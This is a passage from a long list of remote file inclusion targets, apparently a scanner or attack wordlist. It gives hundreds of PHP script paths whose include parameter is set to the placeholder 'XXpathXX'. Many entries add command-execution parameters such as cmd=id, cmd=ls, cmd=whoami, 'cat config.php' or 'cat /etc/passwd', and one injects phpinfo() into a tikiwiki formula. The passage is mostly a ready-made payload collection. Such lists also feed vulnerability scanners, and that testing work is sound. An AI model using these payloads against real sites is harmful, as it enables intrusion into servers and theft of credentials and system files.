phpress/adisplay.php?lang=XXpathXX\n/phpunity-postcard.php?plgallery_epost=1&gallery_path=XXpathXX?\n/phpwcms_template/inc_script/frontend_render/navigation/config_HTML_MENU.php?HTML_MENU_DirPath=XXpathXX\n/phpwcms_template/inc_script/frontend_render/navigation/config_PHPLM.php?HTML_MENU_DirPath=XXpathXX\n/phpyabs/moduli/libri/index.php?Azione=XXpathXX\n/pirvate/ltwpdfmonth.php?ltw_config['include_dir]=XXpathXX\n/playlist.php?phpbb_root_path=XXpathXX\n/plugin/HP_DEV/cms2.php?s_dir=XXpathXX?\n/plugin/gateway/gnokii/init.php?apps_path[plug]=XXpathXX?\n/plugins/1_Adressbuch/delete.php?folder=XXpathXX\n/plugins/BackUp/Archive.php?bkpwp_plugin_path=XXpathXX?\n/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=XXpathXX?\n/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=XXpathXX?\n/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=XXpathXX?\n/plugins/links/functions.inc?_CONF[path]=XXpathXX\n/plugins/polls/functions.inc?_CONF[path]=XXpathXX\n/plugins/rss_importer_functions.php?sitepath=XXpathXX?\n/plugins/safehtml/HTMLSax3.php?dir[plugins]=XXpathXX?\n/plugins/safehtml/safehtml.php?dir[plugins]=XXpathXX?\n/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/Import.Admin.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/LogView.Admin.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=XXpathXX\n/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=XXpathXX\n/plugins/staticpages/functions.inc?_CONF[path]=XXpathXX\n/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=XXpathXX\n/plume-1.1.3/manager/tools/link/dbinstall.php?cmd=ls&_PX_config[manager_path]=XXpathXX\n/plus.php?_pages_dir=XXpathXX?\n/pmapper-3.2-beta3/incphp/globals.php?_SESSION[PM_INCPHP]=XXpathXX?\n/pmi_v28/Includes/global.inc.php?strIncludePrefix=XXpathXX\n/pmi_v28/Includes/global.inc.php?strIncludePrefix=XXpathXX?\n/podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/admin.php?p=admin&absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/categories_add.php?absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/categories_remove.php?absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/editdel.php?p=admin&absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/ftpfeature.php?p=admin&absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/login.php?absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/pgRSSnews.php?absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/showcat.php?absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/archive_cat.php?absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/archive_nocat.php?absoluteurl=XXpathXX\n/podcastgen1.0beta2/core/recent_list.php?absoluteurl=XXpathXX\n/poll/view.php?int_path=XXpathXX\n/pollvote.php?pollname=XXpathXX?&cmd=ls\n/pop.php?base=XXpathXX\n/popup_window.php?site_isp_root=XXpathXX?\n/port.php?content=XXpathXX\n/portal/includes/portal_block.php?phpbb_root_path=XXpathXX\n/portal/portal.php?phpbb_root_path=XXpathXX?\n/portfolio.php?id=XXpathXX\n/portfolio/commentaires/derniers_commentaires.php?rep=XXpathXX?\n/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=XXpathXX\n/prepare.php?xcart_dir=XXpathXX?\n/prepend.php?_PX_config[manager_path]=XXpathXX\n/preview.php?php_script_path=XXpathXX?&cmd=dir\n/principal.php?conteudo=XXpathXX\n/print.php?page=XXpathXX\n/print.php?pager=XXpathXX\n/print.php?print=XXpathXX?\n/process.php?DEFAULT_SKIN=XXpathXX\n/professeurs/index.php?repertoire_config=XXpathXX\n/profil.php?config[root_ordner]=XXpathXX?&cmd=id\n/projects/weatimages/demo/index.php?ini[langpack]=XXpathXX\n/promocms/newspublish/include.php?path[bdocroot]=XXpathXX\n/protection.php?logout_page=XXpathXX?\n/provider/auth.php?xcart_dir=XXpathXX?\n/psynch/nph-psa.exe?css=XXpathXX\n/psynch/nph-psf.exe?css=XXpathXX\n/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=XXpathXX?\n/public_html/modules/Forums/favorites.php?nuke_bb_root_path=XXpathXX?\n/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=XXpathXX\n/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=XXpathXX\n/qsgen_0.7.2c/qlib/smarty.inc.php?CONFIG[gameroot]=XXpathXX?\n/qsgen_0.7.2c/server_request.php?CONFIG[gameroot]=XXpathXX?\n/qte_web.php?qte_web_path=XXpathXX?\n/quick_reply.php?phpbb_root_path=XXpathXX&mode=[file]\n/quickie.php?QUICK_PATH=XXpathXX?&cmd=id\n/random2.php?path_to_folder=XXpathXX\n/randshop/index.php?incl=XXpathXX?\n/rdf.php?page[path]=XXpathXX?&cmd=ls\n/reactivate.php?base_dir=XXpathXX\n/read.php?data=XXpathXX?\n/readmore.php?config[\"sipssys\"]=XXpathXX\n/recent.php?insPath=XXpathXX\n/rechnung.php?_PHPLIB[libdir]=XXpathXX?\n/reconfig.php?GLOBALS[CLPath]=XXpathXX\n/redaxo/include/addons/import_export/pages/index.inc.php?REX[INCLUDE_PATH]=XXpathXX\n/redirect.php?url=XXpathXX\n/redsys/404.php?REDSYS[MYPATH][TEMPLATES]=XXpathXX\n/register.php?base_dir=XXpathXX\n/releasenote.php?mosConfig_absolute_path=XXpathXX\n/rempass.php?lang=XXpathXX\n/report.php?scriptpath=XXpathXX?\n/reports/who_r.php?bj=XXpathXX\n/resources/includes/class.Smarty.php?cfg[sys][base_path]=XXpathXX\n/ressourcen/dbopen.php?home=XXpathXX?\n/robotstats.inc.php?DOCUMENT_ROOT=XXpathXX?\n/root/public/code/cp_html2txt.php?page=XXpathXX\n/routines/fieldValidation.php?jssShopFileSystem=XXpathXX\n/rspa/framework/Controller_v4.php?__ClassPath=XXpathXX\n/rspa/framework/Controller_v4.php?__ClassPath=XXpathXX?\n/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=XXpathXX\n/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=XXpathXX?\n/rss.php?page[path]=XXpathXX?&cmd=ls\n/rss.php?phpraid_dir=XXpathXX\n/rss.php?premodDir=XXpathXX\n/rss2.php?page[path]=XXpathXX?&cmd=ls\n/run.php?dir=SHELL?&file=XXpathXX\n/s01.php?shopid=XXpathXX\n/s01.php?shopid=XXpathXX?\n/s02.php?shopid=XXpathXX?\n/s03.php?shopid=XXpathXX?\n/s04.php?shopid=XXpathXX?\n/sablonlar/gunaysoft/gunaysoft.php?icerikyolu=XXpathXX\n/sablonlar/gunaysoft/gunaysoft.php?sayfaid=XXpathXX\n/saf/lib/PEAR/PhpDocumentor/Documentation/tests/559668.php?FORUM[LIB]=XXpathXX\n/saf/lib/PEAR/PhpDocumentor/Documentation/tests/559668.php?FORUM[LIB]=XXpathXX?\n/sample/xls2mysql/parser_path=XXpathXX?\n/save.php?file_save=XXpathXX\n/saveserver.php?thisdir=XXpathXX\n/script//ident/index.php?path_inc=XXpathXX\n/script/_conf/core/common-tpl-vars.php?confdir=XXpathXX?\n/script/common.inc.php?path_inc=XXpathXX\n/script/gestion/index.php?path_inc=XXpathXX\n/script/ident/disconnect.php?path_inc=XXpathXX\n/script/ident/ident.inc.php?path_inc=XXpathXX\n/script/ident/identification.php?path_inc=XXpathXX\n/script/ident/loginliste.php?path_inc=XXpathXX\n/script/ident/loginmodif.php?path_inc=XXpathXX\n/script/index.php?path_inc=XXpathXX\n/script/init/createallimagecache.php?PATH_TO_CODE=XXpathXX\n/script/menu/menuadministration.php?path_inc=XXpathXX\n/script/menu/menuprincipal.php?path_inc=XXpathXX\n/script/param/param.inc.php?path_inc=XXpathXX\n/script/plugins/phpgacl/admin/index.php?path_inc=XXpathXX\n/script/template/index.php?main_page_directory=XXpathXX\n/script/tick/allincludefortick.php?PATH_TO_CODE=XXpathXX\n/script/tick/test.php?PATH_TO_CODE=XXpathXX\n/script_path/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=XXpathXX?\n/script_path/cms/classes/openengine/filepool.php?oe_classpath=XXpathXX?\n/script_path/installation/index.php?mosConfig_absolute_path=XXpathXX?\n/script_path/pgvnuke/pgvindex.php?DOCUMENT_ROOT/header.php=XXpathXX\n/scripts/check-lom.php?ETCDIR=XXpathXX\n/scripts/gallery.scr.php?GLOBALS[PTH][func]=XXpathXX?\n/scripts/lom_update.php?ETCDIR=XXpathXX\n/scripts/news.scr.php?GLOBALS[PTH][classes]=XXpathXX?\n/scripts/polls.scr.php?GLOBALS[PTH][classes]=XXpathXX?\n/scripts/rss.scr.php?GLOBALS[PTH][classes]=XXpathXX?\n/scripts/search.scr.php?GLOBALS[PTH][classes]=XXpathXX?\n/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=XXpathXX\n/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=XXpathXX?\n/scripts/weigh_keywords.php?ETCDIR=XXpathXX\n/scripts/xtextarea.scr.php?GLOBALS[PTH][spaw]=XXpathXX?\n/search.php?config[\"sipssys\"]=XXpathXX\n/search.php?id=XXpathXX\n/search.php?insPath=XXpathXX\n/search/submit.php?config[\"sipssys\"]=XXpathXX\n/search_wA.php?LIBPATH=XXpathXX\n/searchbot.php?path=XXpathXX\n/security/include/_class.security.php?PHPSECURITYADMIN_PATH=XXpathXX\n/sendstudio/admin/includes/createemails.inc.php?ROOTDIR=XXpathXX?\n/sendstudio/admin/includes/send_emails.inc.php?ROOTDIR=XXpathXX?\n/senetman/html/index.php?page=XXpathXX\n/services.php?page=XXpathXX\n/services/samples/inclusionService.php?CabronServiceFolder=XXpathXX%00\n/settings.php?P[includes]=XXpathXX\n/settings_sql.php?path=XXpathXX\n/setup/inc/database.php?tcms_administer_site=XXpathXX\n/setup/upgrader.php?RootDirectory=XXpathXX\n/sezhoo/SezHooTabsAndActions.php?IP=XXpathXX\n/shop/includes/header.inc.php?dateiPfad=XXpathXX\n/shop/index.php?action=XXpathXX?&cmd=cat%20config.php\n/shop/page.php?osCsid=XXpathXX?\n/shop/page.php?pageid=XXpathXX?\n/shoutbox.php?language=XXpathXX\n/shoutbox.php?root=XXpathXX?cmd=id\n/show.php?file=XXpathXX\n/show.php?id=XXpathXX\n/show.php?page=XXpathXX\n/show.php?path=XXpathXX\n/show_archives.php?cutepath=XXpathXX?\n/sid=XXXXXXXXXXXXXXXXXXXXXXXXXXXX&shopid=XXpathXX\n/sid=XXpathXX\n/signer/final.php?smiley=XXpathXX?\n/signin.php?sent=1&AMG_serverpath=XXpathXX\n/sinagb.php?fuss=XXpathXX\n/sinapis.php?fuss=XXpathXX\n/sitebar/Integrator.php?file=XXpathXX\n/sitebar/index.php?writerFile=XXpathXX\n/sitebuilder/admin/top.php?admindir=XXpathXX\n/sitemap.xml.php?dir[classes]=XXpathXX\n/skin/board/default/doctype.php?dir=XXpathXX\n/skin/dark/template.php?path=XXpathXX\n/skin/gold/template.php?path=XXpathXX\n/skin/html/table.php?pachtofile=XXpathXX\n/skin/original/template.php?path=XXpathXX\n/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=XXpathXX\n/skins/advanced/advanced1.php?pluginpath[0]=XXpathXX\n/skins/default.php?dir_inc=XXpathXX\n/skins/header.php?ote_home=XXpathXX\n/skins/phpchess/layout_admin_cfg.php?Root_Path=XXpathXX\n/skins/phpchess/layout_cfg.php?Root_Path=XXpathXX\n/skins/phpchess/layout_t_top.php?Root_Path=XXpathXX\n/skysilver/login.tpl.php?theme=XXpathXX?\n/slogin_lib.inc.php?slogin_path=XXpathXX?\n/smarty.php?xcart_dir=XXpathXX?\n/smarty/smarty_class.php?_smarty_compile_path=XXpathXX\n/smilies.php?config=XXpathXX\n/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=XXpathXX?\n/snippetmaster/includes/vars.inc.php?_SESSION[SCRIPT_PATH]=XXpathXX?\n/snort/base_stat_common.php?BASE_path=XXpathXX\n/social_game_play.php?path=XXpathXX?\n/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=XXpathXX\n/song.php?phpbb_root_path=XXpathXX\n/source.php?bibtexrootrel=XXpathXX?\n/source/mod/rss/channeledit.php?Codebase=XXpathXX\n/source/mod/rss/post.php?Codebase=XXpathXX\n/source/mod/rss/view.php?Codebase=XXpathXX\n/source/mod/rss/viewitem.php?Codebase=XXpathXX\n/sources/Admin/admin_cats.php?CONFIG[main_path]=XXpathXX\n/sources/Admin/admin_edit.php?CONFIG[main_path]=XXpathXX\n/sources/Admin/admin_import.php?CONFIG[main_path]=XXpathXX\n/sources/Admin/admin_templates.php?CONFIG[main_path]=XXpathXX\n/sources/functions.php?CONFIG[main_path]=XXpathXX\n/sources/help.php?CONFIG[main_path]=XXpathXX\n/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=XXpathXX\n/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=XXpathXX\n/sources/mail.php?CONFIG[main_path]=XXpathXX\n/sources/misc/new_day.php?path=XXpathXX\n/sources/news.php?CONFIG[main_path]=XXpathXX\n/sources/post.php?fil_config=XXpathXX\n/sources/template.php?CONFIG[main_path]=XXpathXX\n/sources/tourney/index.php?page=XXpathXX?\n/spaw/spaw_control.class.php?GLOBALS[spaw_root]=XXpathXX\n/spaw/spaw_control.class.php?spaw_root=XXpathXX\n/speedberg/include/entrancePage.tpl.php?SPEEDBERG_PATH=XXpathXX\n/speedberg/include/generalToolBox.tlb.php?SPEEDBERG_PATH=XXpathXX\n/speedberg/include/myToolBox.tlb.php?SPEEDBERG_PATH=XXpathXX\n/speedberg/include/scriplet.inc.php?SPEEDBERG_PATH=XXpathXX\n/speedberg/include/simplePage.tpl.php?SPEEDBERG_PATH=XXpathXX\n/speedberg/include/speedberg.class.php?SPEEDBERG_PATH=XXpathXX\n/speedberg/include/standardPage.tpl.php?SPEEDBERG_PATH=XXpathXX\n/spellcheckwindowframeset.php?SpellIncPath=XXpathXX\n/squirrelcart/cart_content.php?cart_isp_root=XXpathXX\n/src/ark_inc.php?cfg_pear_path=XXpathXX?\n/src/browser/resource/categories/resource_categories_view.php?CLASSES_ROOT=XXpathXX\n/src/scripture.php?pageHeaderFile=XXpathXX?\n/starnet/themes/c-sky/main.inc.php?cmsdir=XXpathXX?\n/start.php?lang=XXpathXX\n/start.php?pg=XXpathXX\n/stat_modules/users_age/module.php?phpbb_root_path=XXpathXX\n/stats.php?vwar_root=XXpathXX\n/stphpapplication.php?STPHPLIB_DIR=XXpathXX\n/stphpbtnimage.php?STPHPLIB_DIR=XXpathXX\n/stphpform.php?STPHPLIB_DIR=XXpathXX\n/str.php?p=XXpathXX\n/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=XXpathXX\n/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=XXpathXX?\n/strload.php?LangFile=XXpathXX\n/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls%20-al&ABSOLUTE_PATH_STUDIP=XXpathXX?\n/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls%20-al&_PHPLIB[libdir]=XXpathXX?\n/styles.php?toroot=XXpathXX\n/styles/default/global_header.php?installed=23&domain=XXpathXX\n/submit_abuse.php?path_prefix=XXpathXX\n/submit_comment.php?path_prefix=XXpathXX\n/subscp.php?phpbb_root_path=XXpathXX?\n/suite/index.php?pg=XXpathXX?\n/supasite/admin_auth_cookies.php?supa[db_path]=XXpathXX\n/supasite/admin_mods.php?supa[db_path]=XXpathXX\n/supasite/admin_news.php?supa[db_path]=XXpathXX\n/supasite/admin_settings.php?supa[include_path]=XXpathXX\n/supasite/admin_topics.php?supa[db_path]=XXpathXX\n/supasite/admin_users.php?supa[db_path]=XXpathXX\n/supasite/admin_utilities.php?supa[db_path]=XXpathXX\n/supasite/backend_site.php?supa[include_path]=XXpathXX\n/supasite/common_functions.php?supa[db_path]=XXpathXX\n/supasite/site_comment.php?supa[db_path]=XXpathXX\n/supasite/site_news.php?supa[db_path]=XXpathXX\n/support/include/open_form.php?include_dir=XXpathXX?cmd=pwd\n/support/index.php?main=XXpathXX\n/surveys/survey.inc.php?path=XXpathXX\n/sw/lib_comment/comment.php?doc_directory=XXpathXX?\n/sw/lib_find/find.php?doc_directory=XXpathXX?\n/sw/lib_session/session.php?doc_directory=XXpathXX?\n/sw/lib_up_file/file.php?doc_directory=XXpathXX?\n/sw/lib_up_file/find_file.php?doc_directory=XXpathXX?\n/sw/lib_user/find_user.php?doc_directory=XXpathXX?\n/sw/lib_user/user.php?doc_directory=XXpathXX?\n/sys/code/box.inc.php?config[\"sipssys\"]=XXpathXX\n/system/ImageImageMagick.php?glConf[path_system]=XXpathXX?\n/system/_b/contentFiles/gBIndex.php?gBRootPath=XXpathXX?\n/system/admin/include/item_main.php?GLOBALS=XXpathXX\n/system/admin/include/upload_form.php?GLOBALS=XXpathXX\n/system/command/admin.cmd.php?GLOBALS=XXpathXX\n/system/command/download.cmd.php?GLOBALS=XXpathXX\n/system/funcs/xkurl.php?PEARPATH=XXpathXX\n/system/includes/pageheaderdefault.inc.php?_sysSessionPath=XXpathXX\n/system/login.php?site_path=XXpathXX\n/tagit2b/tagmin/delTagUser.php?configpath=XXpathXX?\n/tags.php?BBCodeFile=XXpathXX\n/taxonservice.php?dir=XXpathXX?\n/teatro/pub/pub08_comments.php?basePath=XXpathXX\n/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=XXpathXX?\n/template.php?actionsPage=XXpathXX?\n/template.php?blog_theme=XXpathXX\n/template.php?pagina=XXpathXX\n/template/Noir/index.php?site_path=XXpathXX\n/template/Vert/index.php?pageAll=XXpathXX\n/template/Vert/index.php?site_path=XXpathXX\n/template/barnraiser_01/p_new_password.tpl.php?templatePath=XXpathXX\n/template/default/footer.php?ROOT_PATH=XXpathXX?cmd=ls\n/template/default/test/header.php?ROOT_PATH=XXpathXX?cmd=ls\n/template/gwb/user_bottom.php?config[template_path]=XXpathXX\n/template/purpletech/base_include.php?page=XXpathXX?\n/template/rwb/user_bottom.php?config[template_path]=XXpathXX\n/template_csv.php?rInfo[content]=XXpathXX\n/templates/2blue/bodyTemplate.php?serverPath=XXpathXX?\n/templates/Official/part_userprofile.php?template_path=XXpathXX\n/templates/barrel/template.tpl.php?renderer=XXpathXX\n/templates/barrel/template.tpl.php?renderer=XXpathXX?\n/templates/barry/template.tpl.php?renderer=XXpathXX\n/templates/be2004-2/index.php?mosConfig_absolute_path=XXpathXX\n/templates/datumVonDatumBis.inc.php?root=XXpathXX\n/templates/default/header.inc.php?menu=XXpathXX\n/templates/default/index_logged.php?main_loaded=1&cur_module=XXpathXX\n/templates/default/tpl_message.php?right_file=XXpathXX\n/templates/footer.inc.php?root=XXpathXX\n/templates/header.inc.php?root=XXpathXX\n/templates/mylook/template.tpl.php?renderer=XXpathXX\n/templates/oerdec/template.tpl.php?renderer=XXpathXX\n/templates/pb/language/lang_nl.php?temppath=XXpathXX\n/templates/penguin/template.tpl.php?renderer=XXpathXX\n/templates/sidebar/template.tpl.php?renderer=XXpathXX\n/templates/slashdot/template.tpl.php?renderer=XXpathXX\n/templates/stylesheets.php?root=XXpathXX\n/templates/text-only/template.tpl.php?renderer=XXpathXX\n/templates/tmpl_dfl/scripts/index.php?dir[inc]=XXpathXX\n/theme/breadcrumb.php?rootBase=XXpathXX?\n/theme/default.php?root=XXpathXX\n/theme/format.php?_page_content=XXpathXX?\n/theme/format.php?_page_css=XXpathXX?\n/theme/frames1.php?root=XXpathXX\n/theme/frames1_center.php?root=XXpathXX\n/theme/frames1_left.php?root=XXpathXX\n/theme/frames1_top.php?root=XXpathXX\n/theme/phpAutoVideo/LightTwoOh/sidebar.php?loadpage=XXpathXX\n/theme/settings.php?pfad_z=XXpathXX\n/theme/test1.php?root=XXpathXX\n/theme/test2.php?root=XXpathXX\n/theme/test3.php?root=XXpathXX\n/theme/test4.php?root=XXpathXX\n/theme/test5.php?root=XXpathXX\n/theme/test6.php?root=XXpathXX\n/themes.php?GLOBALS[theme_path]=XXpathXX?\n/themes/blackorange.php?root=XXpathXX\n/themes/container.php?theme_directory=XXpathXX%00\n/themes/default/layouts/standard.php?page_include=XXpathXX?&act=cmd&cmd=whoami&d=/&submit=1&cmd_txt=1\n/themes/default/preview_post_completo.php?dir=XXpathXX\n/themes/header.php?theme_directory=XXpathXX%00\n/themes/ubb/login.php?theme=XXpathXX\n/themes/ubb/login.php?theme=XXpathXX?\n/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=XXpathXX\n/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=XXpathXX\n/timedifference.php?la=XXpathXX\n/toolbar.loudmouth.php?mainframe=XXpathXX\n/tools/update_translations.php?_SESSION[path]=XXpathXX?\n/top.php?laypath=XXpathXX\n/toplist.php?f=toplist_top10&phpbb_root_path=XXpathXX\n/topsites/index.php?page=XXpathXX?&\n/towels-0.1/src/scripture.php?pageHeaderFile=XXpathXX\n/track.php?path=XXpathXX\n/tsep/include/colorswitch.php?tsep_config[absPath]=XXpathXX?\n/ttCMS_path/lib/db/ez_sql.php?lib_path=XXpathXX\n/twebs/modules/misc/usermods.php?ROOT=XXpathXX\n/ubbt.inc.php?GLOBALS[thispath]=XXpathXX?\n/unavailable.php?bibtexrootrel=XXpathXX?\n/unsubs.php?scdir=XXpathXX\n/up.php?my[root]=XXpathXX\n/upload.php?save_path=XXpathXX?\n/upload/admin/frontpage_right.php?loadadminpage=XXpathXX?\n/upload/top.php?maindir=XXpathXX?\n/upload/xax/admin/modules/install_module.php?level=XXpathXX?\n/upload/xax/admin/patch/index.php?level=XXpathXX?\n/upload/xax/ossigeno/admin/install_module.php?level=XXpathXX?\n/upload/xax/ossigeno/admin/uninstall_module.php?level=XXpathXX?\n/upload_local.php?target=XXpathXX?\n/upload_multi.php?target=XXpathXX?\n/urlinn_includes/config.php?dir_ws=XXpathXX?\n/user.php?caselist[bad_file.txt][path]=XXpathXX&command=cat%20/etc/passwd\n/user_language.php?INDM=r3d.w0rm&language_dir=XXpathXX?\n/user_new_2.php?home=XXpathXX\n/usr/extensions/get_calendar.inc.php?root_path=XXpathXX\n/usr/extensions/get_infochannel.inc.php?root_path=XXpathXX?cmd=id;pwd\n/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=XXpathXX\n/utilitaires/gestion_sondage.php?repertoire_visiteur=XXpathXX\n/utils/class_HTTPRetriever.php?libcurlemuinc=XXpathXX\n/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=XXpathXX\n/vCard/admin/define.inc.php?match=XXpathXX?&cmd=id\n/vb/includes/functions.php?classfile=XXpathXX\n/vb/includes/functions_cron.php?nextitem=XXpathXX\n/vb/includes/functions_forumdisplay.php?specialtemplates=XXpathXX\n/vbgsitemap/vbgsitemap-config.php?base=XXpathXX\n/vbgsitemap/vbgsitemap-vbseo.php?base=XXpathXX\n/vedit/editor/edit_htmlarea.php?highlighter=XXpathXX?\n/viart_cms-3.3.2/blocks/block_site_map.php?root_folder_path=XXpathXX?\n/view.php?ariadne=XXpathXX?\n/view.php?id=XXpathXX\n/view_func.php?i=XXpathXX&l=testfile.txt?\n/views/print/printbar.php?views_path=XXpathXX\n/visible_count_inc.php?statitpath=XXpathXX\n/visitor.php?_SERVER[DOCUMENT_ROOT]=XXpathXX??\n/volume.php?config[public_dir]=XXpathXX?\n/vote.php?Madoa=XXpathXX?\n/votebox.php?VoteBoxPath=XXpathXX\n/vp/configure.php?phpbb_root_path=XXpathXX?\n/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=XXpathXX\n/w-agora_path/add_user.php?bn_dir_default=XXpathXX?\n/w-agora_path/create_forum.php?bn_dir_default=XXpathXX?\n/w-agora_path/create_user.php?bn_dir_default=XXpathXX?\n/w-agora_path/delete_notes.php?bn_dir_default=XXpathXX?\n/w-agora_path/delete_user.php?bn_dir_default=XXpathXX?\n/w-agora_path/edit_forum.php?bn_dir_default=XXpathXX?\n/w-agora_path/mail_users.php?bn_dir_default=XXpathXX?\n/w-agora_path/moderate_notes.php?bn_dir_default=XXpathXX?\n/w-agora_path/reorder_forums.php?bn_dir_default=XXpathXX?\n/wamp_dir/setup/yesno.phtml?no_url=XXpathXX?\n/wapchat/src/eng.adCreate.php?sysFileDir=XXpathXX\n/wapchat/src/eng.adCreateSave.php?sysFileDir=XXpathXX\n/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=XXpathXX\n/wapchat/src/eng.createRoom.php?sysFileDir=XXpathXX\n/wapchat/src/eng.forward.php?sysFileDir=XXpathXX\n/wapchat/src/eng.pageLogout.php?sysFileDir=XXpathXX\n/wapchat/src/eng.resultMember.php?sysFileDir=XXpathXX\n/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=XXpathXX\n/wapchat/src/eng.saveNewRoom.php?sysFileDir=XXpathXX\n/wapchat/src/eng.searchMember.php?sysFileDir=XXpathXX\n/wapchat/src/eng.writeMsg.php?sysFileDir=XXpathXX\n/war.php?vwar_root=XXpathXX\n/warn.php?file=XXpathXX\n/watermark.php?GALLERY_BASEDIR=XXpathXX\n/wbxml/WBXML/Decoder.php?base_dir=XXpathXX\n/wbxml/WBXML/Encoder.php?base_dir=XXpathXX\n/web/Administration/Includes/configureText.php?path_prefix=XXpathXX\n/web/Administration/Includes/contentHome.php?path_prefix=XXpathXX\n/web/Administration/Includes/deleteContent.php?path_prefix=XXpathXX\n/web/Administration/Includes/deleteUser.php?path_prefix=XXpathXX\n/web/Administration/Includes/userHome.php?path_prefix=XXpathXX\n/web/BetaBlockModules//Module/Module.php?path_prefix=XXpathXX\n/web/BetaBlockModules/AboutUserModule/AboutUserModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/AddGroupModule/AddGroupModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/AddMessageModule/AddMessageModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/AudiosMediaGalleryModule/AudiosMediaGalleryModule.php?current_blockmodule_pathXXpathXX\n/web/BetaBlockModules/CustomizeUIModule/desktop_image.php?path_prefix=XXpathXX\n/web/BetaBlockModules/EditProfileModule/DynamicProfile.php?path_prefix=XXpathXX\n/web/BetaBlockModules/EditProfileModule/external.php?path_prefix=XXpathXX\n/web/BetaBlockModules/EnableModule/EnableModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/ExternalFeedModule/ExternalFeedModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/FlickrModule/FlickrModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/GroupForumModule/GroupForumModule.php?path_prefixXXpathXX\n/web/BetaBlockModules/GroupForumPermalinkModule/GroupForumPermalinkModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/GroupModerateContentModule/GroupModerateContentModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/GroupModerateUserModule/GroupModerateUserModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/GroupModerationModule/GroupModerationModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/GroupsCategoryModule/GroupsCategoryModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/GroupsDirectoryModule/GroupsDirectoryModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/ImagesMediaGalleryModule/ImagesMediaGalleryModule.php?current_blockmodule_pathXXpathXX\n/web/BetaBlockModules/ImagesModule/ImagesModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/InvitationStatusModule/InvitationStatusModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/LargestGroupsModule/LargestGroupsModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/LinksModule/LinksModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/LoginModule/remoteauth_functions.php?path_prefix=XXpathXX\n/web/BetaBlockModules/LogoModule/LogoModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/MediaFullViewModule/MediaFullViewModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/MediaManagementModule/MediaManagementModule.php?path_prefix=XXpathXX\n/web/BetaBlockModules/MembersFacewallModule/MembersFacewallModule.php?current_blockmo